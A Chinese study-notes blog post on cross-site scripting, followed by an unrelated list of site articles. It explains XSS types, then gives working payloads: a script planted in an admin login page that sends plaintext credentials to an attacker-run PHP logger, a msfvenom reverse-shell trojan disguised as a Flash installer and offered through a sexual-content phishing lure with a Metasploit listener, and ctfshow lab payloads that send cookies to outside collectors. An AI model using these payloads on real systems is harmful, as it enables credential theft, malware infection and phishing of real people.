安全基础~通用漏洞4

文章目录

  • 知识补充
  • XSS跨站脚本
    • **原理**
    • **攻击类型**
    • XSS-后台植入Cookie&表单劫持
    • XSS-Flash钓鱼配合MSF捆绑上线
    • ctfshow XSS靶场练习

知识补充

SQL注入小迪讲解
文件上传小迪讲解
文件上传中间件解析

XSS跨站脚本

xss平台：
https://xss.pt/

原理

恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中 Web 里面的脚本代码会被执行，从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

攻击类型

1、反射型XSS（非持久型XSS）
又称非持久型XSS。之所以称为反射型XSS，执行代码从目标服务器通过错误信息、搜索结果等等方式“反射”回来：发出请求时，XSS代码出现在URL中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，故叫反射型XSS。 而称为非持久型XSS，则是因为这种攻击方式具有一次性，由于代码注入的是一个动态产生的页面而不是永久的页面，因此这种攻击方式只在点击链接的时候才产生作用。

攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL，当 URL 地址被打开时，注入脚本被传输到目标服务器上，然后服务器将注入脚本“反射”到受害者的浏览器上，特有的恶意代码参数被 HTML 解析、执行。
反射型xss

2、存储型XSS（持久型XSS）
又称持久型XSS，攻击脚本将被永久地存放在目标服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码。

一般存在于 Form 表单提交等交互功能，如发帖留言，提交文本信息等，黑客利用的 XSS 漏洞，将内容经正常功能提交进入数据库持久保存，当前端页面获得后端从数据库中读出的注入代码时，恰好将其渲染执行。

存储型xss

3、DOM-based 型
客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行，如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本，而这些脚本没有经过适当的过滤和消毒，那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。

示例展示：

  1. x接收到值会在页面中显示(反射型)。
    假如传输x的值改成JavaScript代码，就会出现弹窗：
    正常写法：http://127.0.0.1:8081/web/mysql/xss.php?x=12345
    弹窗写法：http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>

    eg
    查看源代码发现会插入到HTML页面中
    result

  2. 查看页面返回，有标签，标题等展示(存储型)eg
    逐一测试发现其在标签处进行css插入时会出现XSS
    eg
    result1
    发布出去之后，点击就会弹窗
    result2

  3. 传参时出现ks，检查发现它在title处有出现，测试是否具有XSS(反射型)

first
用</title>标签将其闭合，观察情况，发现其已经产生效果
second
直接用跨站语句执行，出现结果
result

  1. 平台：useragent.openadmintools.com

访问这个平台，可以发现他抓取了浏览器信息。从新进行访问，抓包，修改数据包UA头。
request
发送数据包
result

  1. 下订单，留言一般会在后台显示，前台进行留言，后台进行查看。这就形成了xss攻击
    submit

参考文章1
参考文章2

XSS-后台植入Cookie&表单劫持

条件：已取得相关web权限后 获取cookie的时候有时候会获取不全（phpsessid验证） 表单劫持可以得到一些权限维持，密文密码解密不了。可以通过他来获取明文账号密码。

已经取得了权限，要对后台的权限进行长期控制，可以借助xss盗取cookie，把他写入代码到登录成功文件，利用beef或xss平台实时监控Cookie等凭据实现权限维持 这种方法即使他把后台账号密码改了，也可以进行权限维持。（不会被后门工具识别。） 比如：登录的框页面http://127.0.0.1:8105/admin/login/login.php 登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php上进行操作，写入<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 进行登录，然后就可以触发到相对应的代码。
result

可以观察到，他加载的数据包的内容
result

  • 这样，只要登录成功就能获取，就能进行实时控制。进行了权限维持。 但是有一些网站不采用cookie，即使获取到了，但是还是不能登录。 正常来讲，访问这个地址：http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改cookie： UM_distinctid=17f38be65b3495-049fe07b7f19bd-e726559-1fa400-17f38be65b4b7d; CNZZDATA1670348=cnzz_eid%3D674406514-1645919148-%26ntime%3D1645919148; coul=8; lastvisit=0%091645924524%09%2F; _ac_app_ua=a0540fb14f9cd9d34f; recordurl=%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fnews%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fjob%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F; PHPSESSID=e8gt6fhf1ba01jln0m6t0ljni1
    answer

  • 但是返回包里明显还是登录不成功。 正确的cookie信息：UM_distinctid=17e46c24838315-027dd22377488f8-1262694a-144000-17e46c24839418; CNZZDATA3801251=cnzz_eid%3D1994470479-1641863151-%26ntime%3D1645228788; CNZZDATA1670348=cnzz_eid%3D1668791702-1645652947-%26ntime%3D1645652947; PHPSESSID=smd97a9vae15lsg0tf2claaoi3 可以得知他获取的cookie是不全的，或者说错误的。一般来说少了phpsessid (有防护)
    那么就来进行实时的获取明文账号密码，这样才能进行权限维持。需要一定的基础量，能读懂数据的传输流程。 那么现在观察一下这个网站的登录流程是怎样的。 登录地址http://127.0.0.1:8105/admin/login/login.php 找到想对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php 抓取登录的数据包

    answer

  • 可以看到，他提交的数据包是给了login_check.php文件，也就是说，他的账号密码是发送给了login_check.php这个文件。 查看提交的数据

    answer

  • action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察login_check.php

    源码

  • 可以知道两个接受账号密码的变量： 接受账号： m e t i n f o a d m i n n a m e 接受密码： metinfo_admin_name 接受密码： metinfoa​dminn​ame接受密码：metinfo_admin_pass 然后用到JavaScript语句来进行账号密码的发送，那么应该怎么构造JavaScript语句呢？ 将账号发送到某个地方 语句构造：

    <script src="http://www.xiaodi8.com/get.php?user="账号"&pass"密码""></script>在某个地方来实现接收。get.php实现接收 构造payload： $up='<script src=http://127.0.0.1:8081/web/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>'; echo $up;

    修改
    在http://127.0.0.1:8081/web中穿件get.php代码。 get.php代码：

     <?php $u=$_GET['user']; $p=$_GET['pass']; $myfile=fopen("newfile.txt","a+"); fwrite($myfile,$u); fwrite($myfile,'|');fwrite($myfile,$p); fwrite($myfile,'\n');fclose($myfile); ?>

    接收账号密码，写到newfile文件中
    然后尝试登录这个网站中，可以看到他尝试请求http://127.0.0.1:8081/web/get.php这个网站，把admin和password发送出去

    result

  • 在登录下输入的账号密码，就会发送到newfile中记录，这个时候就可以进行测试了。
    主要解决两个问题：
    1.cookie失败的时候（截取不到）。 2.取得一些权限，密码解密不了。

XSS-Flash钓鱼配合MSF捆绑上线

  • 条件：beef上线受控后或直接钓鱼（受害者爱看SESE） 1、生成后门，攻击是pc端的。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.167.248 LPORT=1111 -f exe > flash.exe

    result

  • flash下载官方地址：https://www.flash.cn/ 我们构造的flash下载地址：http://127.0.0.1:8106/ （一般是构造一个比较逼真的网址。） 把后门放在D:\phpstudy_pro\WWW\web\目录上 打开构造好的地址，index.html文件，把立即下载这个地址改为后门下载地址：http://127.0.0.1:8081/web/flash.exe
    设计网站更改

  • 运行exe并且安装正常的文件，所以需要捆绑正常文件。 在官方网站下载一个正常的flash文件 正常文件：flashcenter_pp_ax_install_cn.exe 后门文件：flash.exe 把两个文件放在一起压缩。
    设计1
    选择高级，自解压选项，解压到c:\windows\temp
    设计2

  • 点击设置，进行配置
    设计3

  • 在确定，压缩为rar文件。然后再把文件名一改，改成flash_install.exe文件，修改图标。 用到Restorator2018_Full_1793_FIX工具。 把两个exe文件拖进去，然后把官方的图片导出。
    设计4

  • 然后导入到对应的文件中，启动msf监听： msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 run
    在这里插入图片描述

  • 那个别人是怎么访问你这个地址呢？
    1.通过xss beef来让浏览器自动访问下载后门，并且运行
    2.直接发给对方诱使他去访问。 通过发送消息，比如小迪与某主播瑟瑟画面流出：http://127.0.0.1:8081/web/诱惑.html 当访问想看的时候
    answer

  • 访问，直接跳转，然后配合后门上线
    result

  • 执行后门，上线完成
    result
    这一类遇到的问题：免杀问题（后门下载下来会遭到火绒等查杀）

xss漏洞小展现

ctfshow XSS靶场练习

ctfshow默认会有一个机器人去访问触发的跨站，flag一般都隐藏在cookie中。
参考文章

方法一：

利用xss平台生成链接：https://xss.pt/xss.php

result
不过平台好像不能用了
不能使用

方法二：

自动接收脚本
在自己的服务器上放一个PHP代码

# a.php
<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);
?>
<script>document.location.href='http://xxx/a.php?cookie='+document.cookie</script>

JavaScript的 document.cookie 将以字符串的方式返回所有的cookie，类型格式： cookie1=value; cookie2=value;

让控制太进行跳转访问window.location.href='http://xxx/a.php' 这样回车就会跳转到http://xxx/a.php

可以使用：http://ceye.io/ 网络安全工具，用于监控和跟踪网络流量，以便发现潜在的安全漏洞和攻击

XSS绕过总结参考

web 316

首先测试一下<script>alert(1)</script>，弹窗成功

注册过防火墙，利用http://ceye.io/ 网络安全工具
first

得到flag
<script>window.location.href='你的ceye地址/'+document.cookie</script>
<script>location.href='http://你的ceye地址/'+document.cookie</script>
<script>window.open('http://你的ceye地址/'+document.cookie)</script>

web 317-319简单过滤

  • 317过滤script
  • 318过滤img
  1. <body onload="window.location.href='http://xxx/a.php?1='+document.cookie"></body>
  2. xss平台的十六进制编码格式
    <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#48;&#115;&#116;&#52;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web320-322-过滤空格

使用tab、\反斜杠或/**/代替空格

web323-326-过滤iframe

  • web322、324过滤 ; 分号
  • web325过滤 . 点号
<body/onload="window.location.href='http://yours-ip/a.php?1='+document.cookie"></body>

eg：325
test
web327

收件人poster必须是admin，才能发送，什么原因，I don’t konw
发件人和信的内容填写xss payload即可

web328- js拿管理员cookie

参考

存在有登录，有注册。
注册之后登录，发现没有管理员权限，无法查看

first
second
third
在用户管理中，有账号密码等显示（这里不是管理员不让显示）
思路： 后台管理员有功能页面，能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码，在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码，获取到管理员的cookie值，就可以进行用户的查看。

那么就注册一个JS
<script>window.location.href='http://fd35br.ceye.io/'+document.cookie</script>，显示注册成功
获取到PHPSESSID，直接在cookie中添加此内容
test
使用bp抓包，修改cookie，将sessid换成我们刚刚得到的id
second
third
result
web329- js拿管理员cookie失效

利用上一关得问题，不过拿到cookie之后就失效了，我们已经知道了flag出现的位置，直接获取网页源码的元素，过滤到该点即可
构造payload

<script> 
$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){window.location.href='http://你的ceye地址/'+value.innerHTML;} }); 
</script>

需要一次完成，后面的dacaiji就是flag
result
web330- xsrf

前端存在修改密码，且没有token，存在csrf
test
在修改密码时，抓包，发现存在一个api接口/api/change.php?p=123，此时修改的密码就是123
api
所以只要将注册内容可以跳转到该接口，使得admin访问，即可重置管理员密码为想要设置的内容。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
其中127.0…0.1是服务器本身地址

使用密码123登录admin用户，查看flag

web331- xsrf post

同样有修改密码的地方，但是是post提交数据，抓包分析
在 url/js/select.js 中存在 post json 方式修改密码请求的js代码

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

修改管理员密码

web332-333

参考链接：https://blog.csdn.net/rfrder/article/details/114079028#t17

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/471148.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

代码随想录 Leetcode860. 柠檬水找零

代码随想录 Leetcode860. 柠檬水找零

题目&#xff1a; 代码(首刷自解 2024年2月15日&#xff09;&#xff1a; class Solution { public:bool lemonadeChange(vector<int>& bills) {vector<int> leftchange(2,0);//leftchange[0]代表5元数量&#xff0c;1代表10for (int i 0; i < bills.size…
阅读更多...
《剑指 Offer》专项突破版 - 面试题 47 : 二叉树剪枝（C++ 实现）

《剑指 Offer》专项突破版 - 面试题 47 : 二叉树剪枝（C++ 实现）

题目链接&#xff1a;LCR 047. 二叉树剪枝 - 力扣&#xff08;LeetCode&#xff09; 题目&#xff1a; 一棵二叉树的所有节点的值要么是 0 要么是 1&#xff0c;请剪除该二叉树中所有节点的值全都是 0 的子树。例如&#xff0c;在剪除下图 (a) 中二叉树中所有节点值都为 0 的…
阅读更多...
redis为什么使用跳跃表而不是树

redis为什么使用跳跃表而不是树

Redis中支持五种数据类型中有序集合Sorted Set的底层数据结构使用的跳跃表&#xff0c;为何不使用其他的如平衡二叉树、b树等数据结构呢&#xff1f; 1&#xff0c;redis的设计目标、性能需求&#xff1a; redis是高性能的非关系型&#xff08;NoSQL&#xff09;内存键值数据…
阅读更多...
BossPlayerCTF

BossPlayerCTF

靶场环境问题 靶场下载之后&#xff0c;可能会出现扫描不到IP的情况&#xff0c;需要进行调整&#xff0c;参考&#xff1a; Vulnhub靶机检测不到IP地址_vulnhub靶机nmap扫不到-CSDN博客 该靶机没有vim&#xff0c;需要使用vi命令去修改&#xff1b;改成当前网卡即可&#x…
阅读更多...
计算机二级数据库之数据模型（三层相关的结构）

计算机二级数据库之数据模型（三层相关的结构）

数据模型 模型的概念 模型的介绍模型是对现实世界特征的模拟和抽象&#xff0c; 数据模型的概念&#xff1a; 数据模型是对现实世界中数据特征的抽象&#xff0c;描述的是数据的共性。 数据模型是用来在数据库中抽象、表示和处理现实世界中的数据和信凹。 其相关的共同特…
阅读更多...
[office] Excel设置打印表头 #学习方法#学习方法#微信

[office] Excel设置打印表头 #学习方法#学习方法#微信

Excel设置打印表头 有时候需要在每页上都显示表头&#xff0c;这样好查看数据&#xff0c;下面我们来看一个练习; 1、启动Excel 1)点击“开始-所有程序-Microsoft-Microsoft Office Excel 2003"; 2)出现一个满是格子的空白窗口&#xff0c;这就是一张电子表格了&#x…
阅读更多...
大漠插件7.2405

大漠插件7.2405

工具名称:大漠插件7.2405 更新时间2024-2-2更新内容/v7.24051. 解决LoadAi接口在某些系统上无法加载的BUG2. 驱动功能全面支持win11 22631/ 工具简介:大漠 综合 插件 (dm.dll)采用vc6.0编写&#xff0c;识别速度超级快&#xff01; 采用COM接口编写&#xff0c;适用于所有编程语…
阅读更多...
2.12日学习打卡----初学RocketMQ（三）

2.12日学习打卡----初学RocketMQ（三）

2.12日学习打卡 目录&#xff1a; 2.12日学习打卡一. RocketMQ高级特性&#xff08;续&#xff09;消息重试延迟消息消息查询 二.RocketMQ应用实战生产端发送同步消息发送异步消息单向发送消息顺序发送消息消费顺序消息全局顺序消息延迟消息事务消息消息查询 一. RocketMQ高级特…
阅读更多...
不花一分钱，在 Mac 上跑 Windows（M1/M2 版）

不花一分钱，在 Mac 上跑 Windows（M1/M2 版）

这是在 MacOS M1 上体验最新 Windows11 的效果&#xff1a; VMware Fusion&#xff0c;可以运行 Windows、Linux 系统&#xff0c;个人使用 licence 免费 安装流程见 &#x1f449; https://zhuanlan.zhihu.com/p/452412091 从申请 Fusion licence 到下载镜像&#xff0c;再到…
阅读更多...
Compose自定义动画API指南

Compose自定义动画API指南

很多动画API都可以自定义其参数达到不同的效果&#xff0c;Compose也提供了相应的API供开发者进行自定义动画规范。 AnimationSpec 主要用存储动画规格&#xff0c;可以自定义动画的行为&#xff0c;在animate*AsState和updateTransition函数中&#xff0c;此函数默认参数为s…
阅读更多...
【C++】 为什么多继承子类重写的父类的虚函数地址不同？『 多态调用汇编剖析』

【C++】 为什么多继承子类重写的父类的虚函数地址不同？『 多态调用汇编剖析』

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 前言 本篇文章主要是为了解答有…
阅读更多...
《剑指offer》

《剑指offer》

本专题是分享剑指offer的一些题目&#xff0c;开始刷题计划。 二维数组的中的查找【https://www.nowcoder.com/practice/abc3fe2ce8e146608e868a70efebf62e?tpId13&tqId11154&ru/exam/oj】 描述 在一个二维数组array中&#xff08;每个一维数组的长度相同&#xff0…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023